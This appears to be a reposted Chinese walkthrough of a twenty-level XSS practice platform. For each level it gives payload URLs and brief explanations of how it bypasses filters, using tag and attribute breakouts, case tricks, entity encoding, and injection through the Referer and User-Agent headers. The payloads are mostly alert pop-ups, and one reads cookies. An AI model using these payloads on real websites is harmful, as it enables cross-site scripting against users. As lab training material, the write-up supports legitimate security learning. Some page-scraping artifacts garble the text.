大佬教程收集整理的这篇文章主要介绍了xss挑战 1,大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
一个xss练习平台,在线地址:http://test.xss.tv/
xss的常规思路:
@H_262_10@LEVEL-1payload
http://test.ctf8.com/level1.PHP?name=%3Cscript%3Ealert(/xss/)%3C/script%3E
http://test.ctf8.com/level1.PHP?name=%3Csvg/onload=alert(1)%3E
http://test.ctf8.com/level1.PHP?name=%3Cimg%20src=1%20onerror=alert(1)%3E
http://test.ctf8.com/level1.PHP?name=%%3Ca%20href=%22javascript:alert(1)%22%3Etest%3C/a%3E
显而易见,上面尖括号被过滤了,而下面却没有
PHP中 ' 中的变量不会执行
"中的变量执行。只要闭合双引号即可
payload
http://test.ctf8.com/level2.PHP?keyword=%22%3E%3Cimg%20src=1%20onerror=alert(1)%3E
http://test.ctf8.com/level4.PHP?keyword="onclick="window.alert()
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
payload
http://test.ctf8.com/level3.PHP?keyword=%27onclick%3D%27window.alert%28%29&submit=%E6%90%9C%E7%B4%A2
payload
http://test.ctf8.com/level4.PHP?keyword=%22onmouSEOver=%22alert(1)
但是这串代码没有过滤<字符和>字符,那么我们可以使用标签的href属性构造payload进行弹窗
payload
http://test.ctf8.com/level5.PHP?keyword=%22%3E%20%3Ca%20href=%22javascript:alert(1)%22%3Exss%3C/a%3E
payload
http://test.ctf8.com/level6.PHP?keyword=%22ONclick%3D%22window.alert%28%29&submit=%E6%90%9C%E7%B4%A2
payload
http://test.ctf8.com/level7.PHP?keyword=%22%3E%3CScrscriptipt%3Ealert(1)%3C/Scriscriptpt%3E
Javascript:伪协议后面可以使用URL编码。
如:<a href="javascript:%61lert(1)">click me</a>可成功执行弹窗。
可用img就不行:<img src=1 one rror="javascript:%61lert(1)">
因为href属性会跳转到其中的URL,而会进行URL解码,onerror属性只会执行JS,不跳转同时后面的url编码可以再做一次entity(HTML实体)编码:
<a href="javascript:%61lert(1)">click me</a>
payload
http://test.ctf8.com/level8.PHP?keyword=javascri%26%23x0070%3Bt%3Aalert%28%29&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5
只要让它检测到http,却不能起到作用就可以了,所以可以用注释
payload
http://test.ctf8.com/level9.PHP?keyword=javascri%26%23x0070%3Bt%3Aalert%281%29%2F*http%3A%2F%2Fwww.baidu.com*%2F&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5
payload
http://test.ctf8.com/level10.PHP?keyword%20=%20test&t_sort=%22type=%22text%22%20onclick%20=%20%22alert(1)
payload
Referer: "onclick=alert(1) type="text" //所添加的Referer头部
@H_674_391@
payload
@H_52_31@mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 " onclick=alert(1) type="text
payload
user=call+me+maybe%3F " onclick=alert(1) type="text"
这关目前做不了,我再看看
http://127.0.0.1/xss练习小游戏/level15.PHP?src='level1.PHP?name=<img src=x one rror=alert(1)>'
payload
http://127.0.0.1/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F/level16.PHP?keyword=%3Cimg%0dsrc=1%0donerror=alert()%3E
过滤了尖括号和双引号,用on事件触发
payload
http://127.0.0.1/xss练习小游戏/level17.PHP?arg01=a&arg02=b%20onclick=alert(1)
payload
http://127.0.0.1/xss练习小游戏/level18.PHP?arg01=a&arg02=%20onclick=alert(1)
19,20均为flash分析
需要
@H_809_616@
payload
http://127.0.0.1/xss练习小游戏/level19.PHP?arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss_by_SST%3C/a%3E
payload
http://127.0.0.1/xss练习小游戏/level20.PHP?arg01=id&arg02=\%22))}catch(E){}if(!self.a)self.a=!alert(document.cookiE)//%26width%26height
以上是大佬教程为你收集整理的xss挑战 1全部内容,希望文章能够帮你解决xss挑战 1所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。